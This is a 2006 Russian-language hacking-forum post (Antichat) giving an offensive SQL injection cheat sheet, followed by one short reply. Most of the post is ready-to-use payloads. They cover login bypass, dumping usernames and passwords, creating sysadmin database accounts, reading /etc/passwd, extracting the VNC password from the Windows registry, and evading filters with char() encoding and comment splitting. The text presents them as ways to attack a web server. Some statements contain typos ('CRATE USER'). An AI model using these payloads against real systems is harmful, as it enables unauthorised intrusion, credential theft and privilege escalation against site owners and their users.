Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
Рассмотрение SQL Injection |

24.12.2006, 19:39
|
|
Banned
Регистрация: 04.11.2006
Сообщений: 370
Провел на форуме: 1763167
Репутация:
1186
|
|
Рассмотрение SQL Injection
1. Вступление.
2. Проверка на уязвимости.
3. Сбор информации.
4. Типы данных.
5. Берём пароли.
6. Создаём аккаунт для БД.
7. Взаимодействие с ОС из MySQL
8. Имя и настройка сервера.
9. Получаем VNC пароль из Реестра.
10. Обход определённых ограничений.
11. MySQL - обход входных значений, за счёт использования Char().
12.Обход ограничений используя коментарии.
13.Строки без кавычек.
1. Когда на сервере открыт только 80 порт, и вероятнее всего, что админ пропатчил
сервер, лучший вариант - перейти к веб атакам. SQL injection это один из самых
распространенных видов веб атак.
Ты атакуешь скрипт, (ASP,JSP,PHP,CGI .. etc) нежели вебсервер или какую либо
службу запущенную из ОС.
SQL injection это способ использовать комманды введённые через вэб страницы,
большинство страниц берут параметры вводимые пользователем, таких как имя
пользователя или пароль или возможно даже e-mail.
Все они используют SQL запросы.
2. Стоит начать с чего-то простого.
- Login:' or 1=1--
- Pass:' or 1=1--
- http://website/index.asp?id=' or 1=1--
Так же можно попробывать еще такие простоые варианты :
- ' having 1=1--
- ' group by userid having 1=1--
- ' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects
WHERE name = 'tablename')--
- ' union select sum(columnname) from tablename--
3. Собираем информацию.
- ' or 1 in (select @@version)--
- ' union all select @@version--
Данные запросы выведут данные о компьютер, ОС, сервис паке.
4. Нужные таблицы с информацией.
Oracle
-->SYS.USER_OBJECTS (USEROBJECTS)
-->SYS.USER_VIEWS
-->SYS.USER_TABLES
-->SYS.USER_VIEWS
-->SYS.USER_TAB_COLUMNS
-->SYS.USER_CATALOG
-->SYS.USER_TRIGGERS
-->SYS.ALL_TABLES
-->SYS.TAB
MySQL
-->mysql.user
-->mysql.host
-->mysql.db
MS access
-->MsysACEs
-->MsysObjects
-->MsysQueries
-->MsysRelationships
MS SQL Server
-->sysobjects
-->syscolumns
-->systypes
-->sysdatabases
5. Берём пароли.
'; begin declare @var varchar(8000) set @var=':' select
@var=@var+'+login+'/'+password+' ' from users where login > @var select @var as
var into temp end --
' and 1 in (select var from temp)--
' ; drop table temp --
6.Создаём Аккаунт
MS SQL
exec sp_addlogin 'name' , 'password'
exec sp_addsrvrolemember 'name' , 'sysadmin'
MySQL
INSERT INTO mysql.user (user, host, password) VALUES ('name', 'localhost',
PASSWORD('pass123'))
Access
CRATE USER name IDENTIFIED BY 'pass123'
Postgres (requires Unix account)
CRATE USER name WITH PASSWORD 'pass123'
Oracle
CRATE USER name IDENTIFIED BY pass123
TEMPORARY TABLESPACE temp
DEFAULT TABLESPACE users;
GRANT CONNECT TO name;
GRANT RESOURCE TO name;
7. Взаимодействие с ОС через MySQL.
- ' union select 1,load_file('/etc/passwd'),1,1,1;
8. Имя сервера и настройка.
- ' and 1 in (select @@servername)--
- ' and 1 in (select servername from master.sysservers)--
9. Получаем пароль VNC из реестра.
- '; declare @out binary(8)
- exec master..xp_regread
- @rootkey = 'HKEY_LOCAL_MACHINE',
- @key = 'SOFTWAREORLWinVNC3Default',
- @value_name='password',
- @value = @out output
- select cast (@out as bigint) as x into TEMP--
- ' and 1 in (select cast(x as varchar) from temp)--
10. Обход ограничений.
- ' OR 'unusual' = 'unusual'
- ' OR 'something' = 'some'+'thing'
- ' OR 'text' = N'text'
- ' OR 'something' like 'some%'
- ' OR 2 > 1
- ' OR 'text' > 't'
- ' OR 'whatever' in ('whatever')
- ' OR 2 BETWEEN 1 and 3
11.Обход ограничений на входящую строку используя char().
Втавляем без кавычек (строку = "%"):
--> ' or username like char(37);
Втавляем без кавычек (строку = "root"):
--> ' union select * from users where login = char(114,111,111,116);
Втавляем без кавычек (строку = "/etc/passwd"):
-->' union select 1;(load_file(char(47,101,116,99,47,112,97,115,115, 119,100))),1,1,1;
Втавляем без кавычек (строку = "n.ext"):
-->' and 1=( if((load_file(char(110,46,101,120,116))char(39,39) ),1,0));
12. Используя коментарии
-->'/**/OR/**/1/**/=/**/1
-->Username:' or 1/*
-->Password:*/=1--
-->UNI/**/ON SEL/**/ECT
-->(Oracle) '; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'
-->(MS SQL) '; EXEC ('SEL' + 'ECT US' + 'ER')
13 Сторки без кавычек.
13.Strings without quotes.
--> INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) +
char(0x74) + char(0x65) + char(0x72) + char(0x70) + char(0x65) + char(0x74) +
char(0x65) + char(0x72), 0x64)
Greets: kaneda, modem, wildcard, #black and pulltheplug.
HackZona.ru
Последний раз редактировалось Mobile; 25.12.2006 в 00:12..
|
|
|

27.03.2007, 08:35
|
|
Новичок
Регистрация: 07.02.2007
Сообщений: 8
Провел на форуме: 27318
Репутация:
-1
|
|
Спасибо за статью .
Можно подробней о MS Access ?
MS Access.
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|